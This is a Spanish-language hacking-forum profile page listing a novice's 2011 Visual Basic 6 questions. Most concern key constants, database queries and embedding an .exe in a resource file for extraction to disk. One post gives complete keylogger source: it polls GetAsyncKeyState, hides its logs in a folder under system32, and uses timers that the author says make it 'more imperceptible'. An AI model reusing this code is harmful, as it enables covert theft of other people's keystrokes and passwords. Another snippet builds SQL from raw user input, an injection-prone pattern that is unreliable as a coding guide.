elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: [1]
1  Programación / Programación Visual Basic / Constantes del teclado (VK_) en: 27 Septiembre 2011, 06:06 am
en un ejemplo de una aplicacion vi que en vez de poner las teclas como podria ser (vbKeyUp) o (vbKeyUp) usaban algo como (&HBC) o (&HBD) alguien podria decirme como se llama y/o pasarme una lista de las teclas con esa forma si no es molestia, no les voy a mentir, no es mas que para alimentar mi curiosidad, pero a muchos nos va a servir
2  Programación / Programación Visual Basic / Ayuda con base de datos en: 22 Septiembre 2011, 06:24 am
hola como estan, queria saber si alguien puede decirme si es posible que una aplicacion tome valores random de una base de datos, para ser mas claro, en mi base de datos deberia tener una tabla con los campos "Pregunta" "Respuesta1" "Respuesta2" y "Respuesta3", y que tome para una pregunta dada una y sola una respuesta x, desde ya gracias
3  Programación / Programación Visual Basic / Ayuda con archivo de recursos en: 28 Agosto 2011, 03:18 am
hola que tal tengo una duda, y quisiera si es posible que me ayuden, estoy haciendo una aplicacion y estoy en un punto donde ya no puedo avanzar, necesito guardar un archivo .exe dentro de un archivo .res para extraerlo en una ruta por ejemplo "c:/Chat.exe", el inconveniente es que  con archivos de sonido o imagen no hay problema, pero a la hora de intentar con archivos .exe tira error
Para ser mas claro aun, tengo en mi proyecto un archivo de recursos con sonido .xm y un .exe, necesito extrer ese .exe en una ruta x pero no puedo :(
4  Programación / Programación Visual Basic / problemas y dudas con ADO en: 7 Mayo 2011, 06:48 am
Hola que tal como estan, nuevamente los molesto con una duda, estoy haciendo una aplicacion que mediante una db responde preguntas, el problema radica en que cuando quiero probar la aplicacion me tira este error "procedimiento externo no valido" en la segunda linea podria alguien decirme que hice mal, no se si esto influya en algo pero la db tiene una tabla llamada dialogo y dos columnas, la primera es pregunta y la segunda es respuesta
Código
  1. Dim adoConexion As New ADODB.Connection
  2. adoConexion.ConnectionString = "Provider = Microsoft.Jet.OLEDB.4.0; Persist Security Info=True; Data Source = (App.Path & \Dialogo.MDB)"
  3. adoConexion.Open
  4.  
  5. Dim sSQLQuery As String
  6. sSQLQuery = "SELECT *" & vbCr
  7. sSQLQuery = sSQLQuery & "FROM Dialogo" & vbCr
  8. sSQLQuery = sSQLQuery & "WHERE Nombre = '" & Text2.Text & "'" & vbCr
  9.  
  10. Dim adoRegistros As New ADODB.Recordset
  11. adoRegistros.Open sConsulta, adoConexion, adOpenStatic, adLockReadOnly
  12.  
  13. Private Sub Command1_Click()
  14. If adoRegistros.BOF = adoRegistros.EOF And adoRegistros.EOF = False Then
  15. Label1.Text = adoConsulta!Respuesta
  16. End If
  17. End Sub
  18.  
5  Programación / Programación Visual Basic / ayuda con un keylogger vb6 en: 23 Marzo 2011, 16:03 pm
antes que nada, hola soy Majinz, soy nuevo aqui y demasiado noob en vb6, tengo un problema a la hora de poner en marcha un keylogger que gentilmente explico sharkl, como muchos otros tome su codigo de ejemplo y agregue otras cosa por mi parte, por ejemplo un par de timers para hacer de su ejecucion y guardado algo mas imperceptible, el problema surgio cuando quiese intentar hacer que diferenciara mayusculas de minusculas con UCase, llegado el momento de tipear repetia los caracteres quedaba mas o menos asi "Aa Bb..." asi que saque UCase pero sigue cometiendo el mismo error, al proyecto le quedan muchos detalle que pulir pero no hallo la forma de avanzar sin solucionar este percanse, el codigo fuente quedo mas o menos asi:
Código
  1. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  2. Private Sub Form_Load()
  3. Dim fso As New FileSystemObject
  4. If fso.FolderExists("C:\WINDOWS\system32\log") Then
  5. TM.Enabled = True
  6. Else
  7. MkDir ("C:\WINDOWS\system32\log")
  8. TM.Enabled = True
  9. End If
  10. End Sub
  11. Private Sub TM_Timer()
  12. Dim i As Integer, x As Integer
  13. For i = 8 To 222
  14. x = GetAsyncKeyState(i)
  15. If x = -32767 Then
  16. Select Case i
  17.   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
  18.   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
  19.   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
  20.   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
  21.   Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
  22.   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
  23.   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
  24.   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
  25.   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
  26.   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
  27.   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
  28.   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
  29.   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
  30.   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
  31.   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
  32.   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
  33.   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
  34.   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
  35.   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
  36.   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
  37.   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
  38.   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
  39.   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
  40.   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
  41.   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
  42.   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
  43.   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
  44.   Case vbKey0: Text1.Text = Text1.Text & "0"
  45.   Case vbKey1: Text1.Text = Text1.Text & "1"
  46.   Case vbKey2: Text1.Text = Text1.Text & "2"
  47.   Case vbKey3: Text1.Text = Text1.Text & "3"
  48.   Case vbKey4: Text1.Text = Text1.Text & "4"
  49.   Case vbKey5: Text1.Text = Text1.Text & "5"
  50.   Case vbKey6: Text1.Text = Text1.Text & "6"
  51.   Case vbKey7: Text1.Text = Text1.Text & "7"
  52.   Case vbKey8: Text1.Text = Text1.Text & "8"
  53.   Case vbKey9: Text1.Text = Text1.Text & "9"
  54.   Case vbKeyA: Text1.Text = Text1.Text & "A"
  55.   Case vbKeyB: Text1.Text = Text1.Text & "B"
  56.   Case vbKeyC: Text1.Text = Text1.Text & "C"
  57.   Case vbKeyD: Text1.Text = Text1.Text & "D"
  58.   Case vbKeyE: Text1.Text = Text1.Text & "E"
  59.   Case vbKeyF: Text1.Text = Text1.Text & "F"
  60.   Case vbKeyG: Text1.Text = Text1.Text & "G"
  61.   Case vbKeyH: Text1.Text = Text1.Text & "H"
  62.   Case vbKeyI: Text1.Text = Text1.Text & "I"
  63.   Case vbKeyJ: Text1.Text = Text1.Text & "J"
  64.   Case vbKeyK: Text1.Text = Text1.Text & "K"
  65.   Case vbKeyL: Text1.Text = Text1.Text & "L"
  66.   Case vbKeyM: Text1.Text = Text1.Text & "M"
  67.   Case vbKeyN: Text1.Text = Text1.Text & "N"
  68.   Case vbKeyO: Text1.Text = Text1.Text & "O"
  69.   Case vbKeyP: Text1.Text = Text1.Text & "P"
  70.   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
  71.   Case vbKeyR: Text1.Text = Text1.Text & "R"
  72.   Case vbKeyS: Text1.Text = Text1.Text & "S"
  73.   Case vbKeyT: Text1.Text = Text1.Text & "T"
  74.   Case vbKeyU: Text1.Text = Text1.Text & "U"
  75.   Case vbKeyV: Text1.Text = Text1.Text & "V"
  76.   Case vbKeyW: Text1.Text = Text1.Text & "W"
  77.   Case vbKeyX: Text1.Text = Text1.Text & "X"
  78.   Case vbKeyY: Text1.Text = Text1.Text & "Y"
  79.   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
  80.   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
  81.   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
  82.   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
  83.   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
  84.   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
  85.   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
  86.   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
  87.   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
  88.   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
  89.   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
  90.   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
  91.   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
  92.   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
  93.   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
  94.   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
  95.   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
  96.   Case vbKeyF1: Text1.Text = Text1.Text & "F1"
  97.   Case vbKeyF2: Text1.Text = Text1.Text & "F2"
  98.   Case vbKeyF3: Text1.Text = Text1.Text & "F3"
  99.   Case vbKeyF4: Text1.Text = Text1.Text & "F4"
  100.   Case vbKeyF5: Text1.Text = Text1.Text & "F5"
  101.   Case vbKeyF6: Text1.Text = Text1.Text & "F6"
  102.   Case vbKeyF7: Text1.Text = Text1.Text & "F7"
  103.   Case vbKeyF8: Text1.Text = Text1.Text & "F8"
  104.   Case vbKeyF9: Text1.Text = Text1.Text & "F9"
  105.   Case vbKeyF10: Text1.Text = Text1.Text & "F10"
  106.   Case vbKeyF11: Text1.Text = Text1.Text & "F11"
  107.   Case vbKeyF12: Text1.Text = Text1.Text & "F12"
  108. End Select
  109. End If
  110. Next
  111. End Sub
  112. Private Sub TM1_Timer()
  113. Dim canalLibre As Integer
  114. canalLibre = FreeFile
  115. Open "C:\WINDOWS\system32\log\" & Format(Time, "hhmmss") + Format(Date, "ddmmyyyy") & ".txt" For Output As #canalLibre
  116. Print #canalLibre, Text1
  117. Close #canalLibre
  118. End Sub
  119.  
a vista de noob no hay problema alguno, pero tampoco explicacion
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines